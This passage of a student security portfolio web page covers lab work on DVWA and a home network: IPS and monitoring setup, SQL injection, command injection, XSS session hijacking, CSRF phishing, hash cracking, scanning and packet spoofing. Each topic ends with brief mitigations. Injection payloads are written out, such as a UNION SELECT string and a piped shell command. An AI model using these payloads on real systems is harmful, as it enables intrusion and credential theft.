came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible 